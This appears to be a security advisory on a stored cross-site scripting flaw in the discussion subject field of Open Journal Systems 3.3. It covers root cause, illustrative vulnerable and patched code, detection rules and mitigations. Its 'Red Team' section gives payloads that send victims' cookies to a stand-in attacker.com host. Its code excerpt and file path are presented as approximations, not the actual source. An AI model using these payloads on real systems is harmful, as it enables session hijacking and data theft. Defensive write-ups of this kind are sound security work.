CVE-2024-25438

Executive Summary

CVE-2024-25438 is a stored Cross-Site Scripting (XSS) vulnerability identified in the Submission module of PKP Open Journal Systems (OJS) version 3.3. The flaw allows an authenticated attacker with submission privileges to inject arbitrary web scripts or HTML via the "Input subject" field within the "Add Discussion" function. When the malicious payload is stored and later rendered in the browser of other users (e.g., editors, reviewers, or administrators), it executes in the context of the victim's session, potentially leading to session hijacking, data exfiltration, or unauthorized actions.

This vulnerability is classified under CWE-79 (Improper Neutralization of Input During Web Page Generation). The CVSS score is currently unassigned, but based on the attack vector and impact, it is likely a medium-to-high severity issue. No official patch has been released by PKP as of the latest analysis, and no exploit code or Nuclei template is publicly available. The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the risk remains significant for OJS deployments handling sensitive academic submissions.

Supply Chain & Package Security

OJS is a PHP-based open-source application distributed via GitHub and its own package repository. The vulnerability resides in the core application code, not in a third-party library. However, administrators should verify the integrity of their OJS installation by checking file hashes against the official release. No known compromised packages or malicious dependencies have been reported in relation to this CVE.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, a reasonable assessment based on the vulnerability characteristics is:

• Attack Vector (AV): Network (N) – The attack is performed over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – The attacker needs an authenticated user account with submission privileges.
• User Interaction (UI): None (N) – The victim does not need to perform any action beyond viewing the discussion.
• Scope (S): Changed (C) – The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify data.
• Availability (A): None (N) – No impact on availability.

Estimated CVSS Score: 6.1 (Medium)

Threat Level: Medium. The requirement for authentication reduces the attack surface, but the stored nature of the XSS and the potential for privilege escalation make it a significant concern for OJS deployments.

Deep Dive & Mechanics

The vulnerability exists in the submission module, specifically within the discussion functionality. When a user adds a discussion to a submission, the "Input subject" field is not properly sanitized before being stored in the database and later rendered in the browser.

Root Cause: The application fails to escape or validate user input in the subject field. This allows an attacker to inject HTML or JavaScript code. The stored payload is then executed when any user (including editors, section editors, or administrators) views the discussion thread.

Attack Flow:

1. An authenticated user with submission privileges navigates to a submission's discussion page.
2. The user clicks "Add Discussion" and enters a malicious payload in the "Subject" field, e.g., <script>alert('XSS')</script>.
3. The payload is stored in the database without sanitization.
4. When another user (e.g., an editor) opens the same discussion, the browser renders the malicious script.
5. The script executes in the context of the victim's session, allowing the attacker to steal cookies, perform actions on behalf of the victim, or deface the page.

Affected Component: lib/pkp/classes/submission/SubmissionComment.inc.php (or similar) – the class responsible for handling discussion comments.

Vulnerable vs. Patched Code

Vulnerable Code (OJS 3.3):

// In the submission comment creation logic
$comment = new SubmissionComment();
$comment->setCommentTitle($request->getUserVar('subject')); // No sanitization
$comment->store();

Patched Code (Expected):

// Proper sanitization using htmlspecialchars or a similar function
$comment = new SubmissionComment();
$comment->setCommentTitle(htmlspecialchars($request->getUserVar('subject'), ENT_QUOTES, 'UTF-8'));
$comment->store();

The vulnerable code directly assigns user input to the comment title without any escaping. The patched code should use htmlspecialchars() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A running instance of OJS 3.3.
• An authenticated user account with "Author" or "Journal Manager" privileges (sufficient to add discussions).

Exploit Steps:

1. Log in to OJS as an authorized user.
2. Navigate to an existing submission or create a new one.
3. Click on the "Discussions" tab.
4. Click "Add Discussion".
5. In the "Subject" field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

6. Optionally, add a benign message in the "Message" field.
7. Click "Save" to store the discussion.
8. Wait for an editor or administrator to view the discussion. The script will execute and send the victim's cookies to the attacker's server.

Alternative Payload (Session Hijacking):

<img src=x onerror="document.location='https://attacker.com/steal?cookie='+document.cookie">

Blue Team (Defensive)

Detection:

• Monitor web application logs for unusual patterns in the subject parameter, such as <script>, <img onerror, or onload attributes.
• Use a Web Application Firewall (WAF) to block common XSS payloads.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

• Search the database for stored XSS payloads in the submission_comments table:

  SELECT * FROM submission_comments WHERE comment_title LIKE '%<script>%' OR comment_title LIKE '%onerror%';
  

• Review access logs for requests to /index.php/*/submission/discussion/* with suspicious query parameters.

Mitigation:

• Apply input validation and output encoding to all user-supplied data.
• Use a security plugin or custom middleware to sanitize input fields.
• Restrict the ability to add discussions to trusted users only.

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to unknown or suspicious domains from the OJS server.
  • Unusual Referer headers pointing to discussion pages.
• Host:
  • Presence of <script> tags or event handlers in the submission_comments table.
  • Modified or unexpected JavaScript files in the web root.
• Logs:
  • Repeated failed login attempts followed by successful authentication and discussion creation.
  • Log entries showing subject parameter containing HTML or JavaScript.

Detection Engineering

YARA Rule

rule CVE_2024_25438_XSS_Payload {
    meta:
        description = "Detects stored XSS payloads targeting OJS submission subject field"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-25438"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /<[^>]+onerror\s*=[^>]*>/is
        $xss3 = /<[^>]+onload\s*=[^>]*>/is
        $xss4 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in OJS Submission Subject Field
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential XSS payloads in OJS submission discussion subject field
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'submission/discussion'
        cs-uri-query|contains: 'addComment'
    keywords:
        - '<script>'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of HTML in subject field (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-25438 Stored XSS in OJS Submission Subject"; flow:to_server,established; content:"POST"; http_method; content:"/submission/discussion"; http_uri; content:"addComment"; http_uri; pcre:"/<script[^>]*>.*<\/script>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the "Add Discussion" feature for non-administrator users until a patch is applied.
2. Implement a WAF rule to block requests containing <script>, onerror, or javascript: in the subject parameter.
3. Manually sanitize input by modifying the OJS code to use htmlspecialchars() on the subject field (see patched code example).

Long-Term Fix:

• Apply the official patch from PKP when released.
• Upgrade to the latest version of OJS (if a patched version becomes available).
• Conduct a security audit of all input fields in the application.

Additional Recommendations:

• Enable Content Security Policy (CSP) headers to restrict inline scripts.
• Use HTTP-only cookies to mitigate session hijacking.
• Regularly review and clean the database for stored XSS payloads.

Valters IT
Securing Digital Frontiers